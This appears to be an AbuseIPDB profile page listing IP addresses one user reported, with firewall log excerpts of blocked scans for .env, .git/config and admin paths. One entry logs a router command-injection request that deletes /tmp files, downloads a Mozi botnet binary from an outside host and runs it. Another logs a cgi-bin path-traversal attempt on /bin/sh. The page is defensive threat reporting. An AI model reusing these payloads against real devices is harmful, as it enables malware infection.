AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User AF joined AbuseIPDB in April 2025 and has reported 3,755 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇺🇸 20.65.194.96	07 Jun 2025	Activity: Port Scan Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:02:03:57 +0000] ... show more Activity: Port Scan Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:02:03:57 +0000] "GET /manager/html HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Port Scan
🇦🇷 45.230.66.27	07 Jun 2025	Activity: Attempted web application attack involving command injection and configuration file access ... show more Activity: Attempted web application attack involving command injection and configuration file access Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:01:47:44 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://45.230.66.27:11425/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 403 146 "-" "-" "-" show less	SQL Injection Web App Attack
🇦🇺 134.199.168.151	07 Jun 2025	Activity: Attempted access to sensitive configuration files indicating potential web application att ... show more Activity: Attempted access to sensitive configuration files indicating potential web application attack or reconnaissance activity Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:01:45:04 +0000] "GET /.env HTTP/1.1" 400 150 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);" "-" • [06/Jun/2025:01:45:05 +0000] "GET /.git/config HTTP/1.1" 400 150 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);" "-" show less	Web App Attack
🇺🇸 159.65.248.191	06 Jun 2025	Activity: Normal web browsing, port scanning, potential exploitation attempts, web application attac ... show more Activity: Normal web browsing, port scanning, potential exploitation attempts, web application attacks, SSH activity Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:23:25:55 +0000] "x16x03x01x00ux01x00x00qx03x03x07x0CM@f%:x1BxCCx15ax02x9Ce%xBAx02x17x13,x10xB4 xD2xB3?3x02sx8CmxC6x00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [05/Jun/2025:23:25:55 +0000] "x16x03x01x00ux01x00x00qx03x03x8E2x1BxCEx1A-xECx907xE0x0Fx9E0mRxC0xF1xDDxCF{xFCK [email protected]/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [05/Jun/2025:23:25:55 +0000] "x16x03x01x00ux01x00x00qx03x03<*nxE8x92xC0xC6x1E)xEA7xF7x89xC4x88x80LxBBxC1px9Bd`xD4xB6xB17xB2xA6xB9,tx00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [05/Jun/2025:23:25:55 +0000] "GET /form.html HTTP/1.1" 400 150 "-" "curl/8.1.2" "-" show less	Port Scan Exploited Host Web App Attack SSH
🇺🇸 20.163.15.119	06 Jun 2025	Activity: Web Bot activity scanning for ReportServer Action: Blocked by firewall Access Log Entrie ... show more Activity: Web Bot activity scanning for ReportServer Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:18:28:12 +0000] "GET /ReportServer HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇸🇬 47.245.117.221	06 Jun 2025	Activity: Web Bot activity scanning for vulnerabilities Action: Blocked by firewall Access Log Ent ... show more Activity: Web Bot activity scanning for vulnerabilities Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:18:24:43 +0000] "GET / HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇳🇱 87.121.84.3	06 Jun 2025	Activity: Port Scan attempt Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:18:03:3 ... show more Activity: Port Scan attempt Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:18:03:33 +0000] "CONNECT google.com:443 HTTP/1.1" 400 150 "-" "-" "-" show less	Port Scan
🇮🇩 180.178.94.117	06 Jun 2025	Activity: Attempted directory traversal and command execution (potential web server attack) Action: ... show more Activity: Attempted directory traversal and command execution (potential web server attack) Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:16:28:21 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 150 "-" "-" "-" show less	SQL Injection
🇺🇸 20.65.194.29	06 Jun 2025	Activity: Web Bot activity scanning for web application vulnerabilities Action: Blocked by firewall ... show more Activity: Web Bot activity scanning for web application vulnerabilities Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:16:03:02 +0000] "GET /druid/index.html HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇺🇸 13.89.125.225	06 Jun 2025	Activity: Web Bot activity scanning for vulnerabilities Action: Blocked by firewall Access Log Ent ... show more Activity: Web Bot activity scanning for vulnerabilities Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:15:59:09 +0000] "GET /developmentserver/metadatauploader HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇺🇸 13.86.116.162	06 Jun 2025	Activity: Web Bot activity attempting to access development server Action: Blocked by firewall Acc ... show more Activity: Web Bot activity attempting to access development server Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:13:29:15 +0000] "GET /developmentserver/metadatauploader HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇳🇱 196.251.72.29	06 Jun 2025	Activity: Attempted access to environment configuration file, indicative of potential web applicatio ... show more Activity: Attempted access to environment configuration file, indicative of potential web application attack or reconnaissance Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:13:05:00 +0000] "GET /.env HTTP/1.1" 403 180 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36" "-" show less	SQL Injection
🇬🇧 139.59.166.229	06 Jun 2025	Activity: Normal web browsing, port scanning attempts, and potential exploitation attempts Action: ... show more Activity: Normal web browsing, port scanning attempts, and potential exploitation attempts Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:11:05:56 +0000] "x16x03x01x00ux01x00x00qx03x03x94o$x85xBAx85xF4xB5x1ExD9xFAx83rxF3xCCx91#Tx1Bjx7Fx92Mx10xC9jJ5x7FAxF06x00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [05/Jun/2025:11:05:56 +0000] "x16x03x01x00ux01x00x00qx03x03xE5xC6hx9Bx96xE6xFCx16xF8xFFNx1CxEBx9FxC1nx83xCBxA2xD0xCAxA4xE9x8Fx18x98xAAx0CxEFxCAqxD3x00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [05/Jun/2025:11:05:57 +0000] "x16x03x01x00ux01x00x00qx03x038xB0xF2xFCV4bx1DxDFxFAx97?x91/x22xCDnxEDx17xB6GxD7=LX*x1BxC4bWjx83x00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [05/Jun/2025:11:05:57 +0000] "GET /form.html HTTP/1.1" 400 150 "-" "curl/8.1.2" "-" show less	Port Scan Exploited Host
🇬🇧 138.68.145.7	06 Jun 2025	Activity: Port Scan and Exploited Host Action: Blocked by firewall Access Log Entries: • [05/Jun/2 ... show more Activity: Port Scan and Exploited Host Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:10:06:47 +0000] "GET /squid-internal-mgr/cachemgr.cgi HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Port Scan Exploited Host
🇸🇪 193.138.218.217	06 Jun 2025	Activity: Attempted access to environment configuration file, indicative of potential web app attack ... show more Activity: Attempted access to environment configuration file, indicative of potential web app attack or reconnaissance Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:10:04:46 +0000] "GET /.env HTTP/1.1" 400 150 "-" "Python/3.11 aiohttp/3.12.6" "-" show less	SQL Injection
🇳🇱 196.251.87.59	06 Jun 2025	Activity: Attempted access to environment configuration file, indicative of potential web app attack ... show more Activity: Attempted access to environment configuration file, indicative of potential web app attack or reconnaissance Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:09:56:02 +0000] "GET /.env HTTP/1.1" 403 180 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36" "-" show less	SQL Injection
🇺🇸 20.168.13.53	06 Jun 2025	Activity: Web Bot activity attempting to access login page Action: Blocked by firewall Access Log ... show more Activity: Web Bot activity attempting to access login page Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:09:42:58 +0000] "GET /login HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇺🇸 20.65.193.199	06 Jun 2025	Activity: Web Bot activity scanning the web server Action: Blocked by firewall Access Log Entries: ... show more Activity: Web Bot activity scanning the web server Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:09:39:15 +0000] "GET / HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇺🇸 20.163.2.150	06 Jun 2025	Activity: Web Bot activity scanning for vulnerabilities Action: Blocked by firewall Access Log Ent ... show more Activity: Web Bot activity scanning for vulnerabilities Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:07:55:03 +0000] "GET / HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇺🇸 20.14.74.80	06 Jun 2025	Activity: Web Bot activity scanning for vulnerabilities Action: Blocked by firewall Access Log Ent ... show more Activity: Web Bot activity scanning for vulnerabilities Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:06:57:30 +0000] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇳🇱 196.251.66.177	06 Jun 2025	Activity: Attempted access to .git/config file, potentially probing for source code or version contr ... show more Activity: Attempted access to .git/config file, potentially probing for source code or version control information Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:05:10:24 +0000] "GET /.git/config HTTP/1.1" 403 180 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-" • [05/Jun/2025:05:10:24 +0000] "GET /.git/config HTTP/1.1" 403 180 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-" show less	Exploited Host
🇺🇸 20.171.8.156	06 Jun 2025	Activity: Web Bot activity scanning for web portals Action: Blocked by firewall Access Log Entries ... show more Activity: Web Bot activity scanning for web portals Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:01:56:16 +0000] "GET /portal/redlion HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇦🇺 170.64.226.149	06 Jun 2025	Activity: Attempted access to sensitive configuration files indicating reconnaissance or probing act ... show more Activity: Attempted access to sensitive configuration files indicating reconnaissance or probing activity Action: Blocked by firewall Access Log Entries: • [05/Jun/2025:01:39:18 +0000] "GET /.env HTTP/1.1" 400 150 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);" "-" • [05/Jun/2025:01:39:18 +0000] "GET /.git/config HTTP/1.1" 400 150 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);" "-" show less	Exploited Host
🇺🇸 167.99.162.190	05 Jun 2025	Activity: Normal browsing, potential exploitation attempts, SSH activity Action: Blocked by firewal ... show more Activity: Normal browsing, potential exploitation attempts, SSH activity Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:23:04:44 +0000] "x16x03x01x00ux01x00x00qx03x03>x8FcxD26jcxE9xCAx04xBCx8Cx89ExA0xD7%--,x9Dax08x9Dx8BxB6x0Bx92xCFx8F@x12x00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [04/Jun/2025:23:04:44 +0000] "x16x03x01x00ux01x00x00qx03x03xD8xA3x1Fx04Y,RxCCExD6x18%23x8Fx8Fsx14zx1CxBBxED\|xA5xBCxD6xD3eoxB1xFBxE0x00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [04/Jun/2025:23:04:44 +0000] "x16x03x01x00ux01x00x00qx03x03&xA88xE1,:d>PxD5Ex99xFFx0FxA4M{xCELxF1xFCxD7xB3xFB?x5CxA0xCFx88x14 lx00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [04/Jun/2025:23:04:44 +0000] "GET /form.html HTTP/1.1" 400 150 "-" "curl/8.1.2" "-" show less	Exploited Host SSH
🇩🇪 207.154.220.158	05 Jun 2025	Activity: Port scanning attempts and potential SQL injection probes Action: Blocked by firewall Ac ... show more Activity: Port scanning attempts and potential SQL injection probes Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:22:40:33 +0000] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 400 154 "http://<host_IP>:80/cgi-bin/authLogin.cgi" "Go-http-client/1.1" "-" • [04/Jun/2025:22:40:33 +0000] "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1" 400 154 "http://<host_IP>:80/query?q=SHOW+DIAGNOSTICS" "Go-http-client/1.1" "-" show less	Port Scan SQL Injection